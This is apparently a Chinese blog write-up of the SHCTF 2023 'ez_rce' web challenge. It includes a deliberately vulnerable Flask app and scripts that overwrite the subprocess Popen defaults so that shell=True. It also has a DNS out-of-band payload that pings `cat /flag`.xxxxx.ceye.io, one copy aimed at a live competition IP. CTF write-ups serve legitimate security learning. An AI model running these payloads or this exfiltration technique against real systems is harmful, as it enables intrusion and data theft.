SHCTF 2023 week2 web ez_rce

本文最后更新于:2024年10月23日 晚上

[SHCTF 2023] week2 web ez_rce

题目源码(附件)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp

def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)

def cmd(arg):
subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

代码审计

以下内容来自文心一言

整体

这段代码是一个基于 Flask 的 web 服务程序,它允许用户通过 web 请求执行一些操作。以下是代码的逐行详细分析:

  1. from flask import *:从 Flask 模块导入所有内容。这将导入 Flask 框架的所有功能和类。
  2. import subprocess:导入 subprocess 模块,这个模块允许你从 Python 代码中执行外部命令。
  3. app = Flask(__name__):创建一个 Flask web 服务实例。

4-7. def gett(obj,arg)::定义一个函数 gett,它接收两个参数,一个对象和一个参数列表。函数通过 getattr 函数递归地获取对象的属性。

8-12. def sett(obj,arg,num)::定义一个函数 sett,它接收一个对象,一个参数列表和一个数值。函数通过 getattr 函数递归地获取对象的属性,并使用 setattr 函数设置最后一个属性的值。

13-19. def hint(giveme,num,bol)::定义一个函数 hint,它接收一个参数列表,一个数值和一个布尔值。函数首先使用 gett 函数获取 subprocess 模块的某个属性,然后修改这个属性的某个元素的值,并使用 sett 函数设置新的值。

20-22. def cmd(arg)::定义一个函数 cmd,它接收一个参数列表,并使用 subprocess.call 函数执行外部命令。

24-34. @app.route('/',methods=['GET','POST']):定义一个路由,处理 ‘/‘ 路径的 GET 和 POST 请求。请求处理函数首先检查请求参数 ‘exec’,如果它的值为 ‘ok’,则执行外部命令。否则,它从请求的 JSON 数据中获取一个表达式列表,一个数值和一个布尔值,并使用 hint 函数修改 subprocess 模块的某个属性的值。

35-37. if __name__ == '__main__'::如果代码作为主程序运行,则启动 Flask web 服务,监听所有 IP 地址的 5000 端口。

总的来说,这段代码的功能比较模糊,它似乎允许用户通过 web 请求执行外部命令,并修改 subprocess 模块的某些属性的值。这可能是一个潜在的安全风险,因为恶意用户可以利用这个功能执行任意命令。

hint() 、gett()、sett()

hintgettsett三个函数结合在一起,可以实现通过字符串形式的属性名来动态地获取和设置对象的属性值。

gett函数通过递归调用getattr函数,可以获取对象的嵌套属性。例如,如果有一个对象obj,它有一个属性a,属性a又有一个属性b,那么我们可以通过调用gett(obj, ['a', 'b'])来获取obj.a.b的值。

sett函数和gett函数类似,它也可以通过递归调用getattr函数来获取对象的嵌套属性,然后使用setattr函数来设置最后一个属性的值。例如,如果我们要将obj.a.b的值设置为123,可以通过调用sett(obj, ['a', 'b'], 123)来实现。

hint函数则是利用了gettsett函数来实现对subprocess模块的某个属性的修改。它首先用gett函数获取到属性的值,然后修改其中的某个元素,最后再用sett函数设置回去。

举一个例子来说明这三个函数的结合使用:

假设我们有一个对象obj,它有一个嵌套属性a.b.c,我们想要将其值设置为True。可以先通过gett(obj, ['a', 'b'])获取到obj.a.b的值,然后将其属性c设置为True,最后再通过sett(obj, ['a', 'b'], new_value)将新的值设置回去。其中,new_value就是修改后的obj.a.b的值。

以上就是对hintgettsett三个函数的结合分析和例子说明。

subprocess.call()

执行由参数提供的命令,返回状态码
我们可以用数组作为参数运行命令,也可以用字符串作为参数运行命令(通过设置参数shell=True)
注意,参数shell默认为False

解题

执行命令

利用subprocess.call()执行命令需要其默认参数shell=True

hint()函数恰好提供了对应的功能

接下来就是设法找到shell参数的位置

寻找shell参数的位置

在python中,函数也是一种对象

Python确实有一个内置类型叫做 “function”,它代表了Python中的函数对象。

函数对象在Python中是一等公民,这意味着它们可以被赋值给变量,作为参数传递给其他函数,以及作为返回值返回。函数对象还具有一些内置方法和属性,例如 __name____doc____call__

其中一个内置方法:

__defaults__:函数的默认参数值的元组

然而,这还不够

1
2
print(getattr(subprocess.call,"__defaults__"))
#None

None表示空

山重水复疑无路,柳暗花明又一村

查询subprocess源码(subprocess.py):

1
2
3
4
5
6
7
8
9
def call(*popenargs, **kwargs):
"""Run command with arguments. Wait for command to complete, then
return the returncode attribute.

The arguments are the same as for the Popen constructor. Example:

retcode = call(["ls", "-l"])
"""
return Popen(*popenargs, **kwargs).wait()

注意到调用了Popen()并把参数传了过去

popen是一个对象(类)

这样操作会调用Popen中的魔术方法__init__

其参数中同样有我们想要修改的shell参数

1
2
3
4
5
__init__(self, args, bufsize=0, executable=None,
stdin=None, stdout=None, stderr=None,
preexec_fn=None, close_fds=False, shell=False,
cwd=None, env=None, universal_newlines=False,
startupinfo=None, creationflags=0)
1
2
print(getattr(subprocess.Popen.__init__,"__defaults__"))
#(-1, None, None, None, None, None, True, False, None, None, None, None, 0, True, False, ())

经多次测试,其中下标为7处的元素为默认参数shell的值

更改参数脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests  
import json

data = {
"exp": ["Popen","__init__","__defaults__"]
}
params={
'num': "7",
'bol': True
}
r = requests.post('http://127.0.0.1:5000/', json=data,params=params)
print("请求头是:", r.request.headers)
print("请求体是:", r.request.body)
print(r.text)

获取回显

根据代码逻辑

命令执行是没有回显的

此时可以使用dns/http外带

dns/http外带

需要平台

比如CEYE - Monitor service for security testing

burpsuit也有类似功能

具体:带外攻击OOB(RCE无回显骚思路总结)-腾讯云开发者社区-腾讯云 (tencent.com)

payload:

1
2
3
4
5
6
7
8
9
10
11
import requests  
import json

params={
'exec': "ok",
'shell': "ping -c 3 `cat /flag`.xxxxx.ceye.io" #-c 3 请求三次
}
r = requests.get('http://112.6.51.212:30434/', params=params)
print("请求头是:", r.request.headers)
print("请求体是:", r.request.body)
print(r.text)

命令执行过程:

1
2
3
4
#发现flag文件
ls /|grep 'f'|base64 #将根目录下以f开头的文件或文件夹以回车键隔开并进行base64编码
#读取flag
cat /flag

Payload

先执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests  
import json

data = {
"exp": ["Popen","__init__","__defaults__"]
}
params={
'num': "7",
'bol': True
}
r = requests.post('http://127.0.0.1:5000/', json=data,params=params)
print("请求头是:", r.request.headers)
print("请求体是:", r.request.body)
print(r.text)

再执行:

1
2
3
4
5
6
7
8
9
10
11
import requests  
import json

params={
'exec': "ok",
'shell': "ping -c 3 `cat /flag`.xxxxx.ceye.io"
}
r = requests.get('http://127.0.0.1:5000/', params=params)
print("请求头是:", r.request.headers)
print("请求体是:", r.request.body)
print(r.text)

引用

本文引用几乎全部来自文心一言 (baidu.com)


SHCTF 2023 week2 web ez_rce
http://example.com/2023/10/14/SHCTF-week2-web-ez_rce/
作者
sawtooth384
发布于
2023年10月14日
许可协议